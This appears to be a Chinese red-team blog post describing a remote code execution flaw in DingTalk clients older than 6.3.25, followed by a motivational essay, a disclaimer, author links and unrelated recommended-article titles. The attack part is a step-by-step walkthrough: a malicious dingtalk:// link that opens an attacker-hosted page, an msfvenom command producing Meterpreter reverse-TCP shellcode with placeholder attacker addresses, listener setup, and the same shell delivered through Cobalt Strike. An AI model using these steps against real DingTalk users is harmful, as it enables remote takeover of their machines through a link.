红队攻防实战之钉钉RCE

我这一生如履薄冰,你说我能走到对岸吗?

本文首发于SecIN社区,原创作者即是本人

前言

网络安全技术学习,承认⾃⼰的弱点不是丑事。只有对原理了然于⼼,才能突破更多的限制。拥有快速学习能力的白帽子,是不能有短板的,有的只能是大量的标准板和几块长板。知识⾯,决定看到的攻击⾯有多⼴;知识链,决定发动的杀伤链有多深。

一、影响版本:

经测试需要钉钉版本< 6.3.25-Release.2149108

二、poc:

三、触发方式

复制代码
dingtalk://dingtalkclient/page/link?url=x.x.x.x/calc.html&pc_slide=true

漏洞证明:

四、msf反弹shell

msf 生成shellcode

复制代码
msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=x.x.x.x LPORT=xxx -e x86/shikata_ga_nai -f csharp

msf开启监听

复制代码
use exploits/multi/handler
set lhost x.x.x.x
set lport xxx
run

将生成的shellcode替换原shellcode

需要替换的位置为

复制代码
var shellcode=new Uint8Array()

poc:

复制代码
dingtalk://dingtalkclient/page/link?url=http://x.x.x.x/msf.html&pc_slide=true

漏洞证明

五、cs反弹shell

cs生成c#的shellcode

不要勾选x64

将生成的shellcode替换原shellcode

需要替换的位置为

复制代码
var shellcode=new Uint8Array()

poc:

复制代码
dingtalk://dingtalkclient/page/link?url=http://x.x.x.x/cs.html&pc_slide=true

成功上线cs

网络安全感悟

做网络安全是一个长期的过程,因为做网络安全没有终点,不管是网络安全企业,还是在网络安全行业各种不同方向的从业人员,不管你选择哪个方向,只有在这条路上坚持不懈,才能在这条路上走的更远,走的更好,不然你肯定走不远,迟早会转行或者被淘汰,把时间全浪费掉。如果你觉得自己是真的热爱网络安全这个行业,坚持走下去就可以了,不用去管别人,现在就是一个大浪淘金的时代,淘下去的是沙子,留下来的才是金子,正所谓,千淘万漉虽辛苦,吹尽狂沙始到金,网络安全的路还很长,一生只做一件事,坚持做好一件事!

免责声明:由于传播或利用此文所提供的信息、技术或方法而造成的任何直接或间接的后果及损失,均由使用者本人负责, 文章作者不为此承担任何责任。

转载声明:各家兴 拥有对此文章的修改和解释权,如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经作者允许,不得任意修改或者增减此文章的内容,不得以任何方式将其用于商业目的。

复制代码
CSDN:
https://blog.csdn.net/weixin_48899364?type=blog

公众号:
https://mp.weixin.qq.com/mp/appmsgalbum?__biz=Mzg5NTU2NjA1Mw==&action=getalbum&album_id=1696286248027357190&scene=173&from_msgid=2247485408&from_itemidx=1&count=3&nolastread=1#wechat_redirect

博客:
https://rdyx0.github.io/

先知社区:
https://xz.aliyun.com/u/37846

SecIN:
https://www.sec-in.com/author/3097

FreeBuf:
https://www.freebuf.com/author/%E5%9B%BD%E6%9C%8D%E6%9C%80%E5%BC%BA%E6%B8%97%E9%80%8F%E6%8E%8C%E6%8E%A7%E8%80%85
相关推荐
WJ.Polar5 小时前
Java封装、继承、多态
java·开发语言
裕晟资质规划5 小时前
三类资质变更报告时限差在哪?军工 15 日、集成印制 10 日
大数据·服务器·网络
摇滚侠5 小时前
Java 中如何表示负数,有符号和无符号的区别,补码的计算规则,char byte short int long 的范围
java·开发语言
轻舟技术A5 小时前
Provider 不属于 Agent 核心:rpi 的分层理由与收益
服务器·网络
weixin_307779136 小时前
C++代码实现MATLAB中的fitrtree函数功能
开发语言·c++·算法·matlab
爱读书的小胖6 小时前
Codewars:Rot13(C)解题分析
c语言·开发语言
鸽鸽程序猿6 小时前
【项目】【在线判题系统】b端题目增删改
开发语言·python
Escalating_xu6 小时前
【Linux 网络编程】TCP Socket 编程(上):从 listen、accept 到完整回显通信
linux·网络·tcp/ip
Lhappy嘻嘻6 小时前
读懂 JVM:内存模型、类加载机制、分代回收
java·开发语言·jvm
NetX行者6 小时前
Python 工程化入门:从脚本到规范的 Python 项目结构
网络·python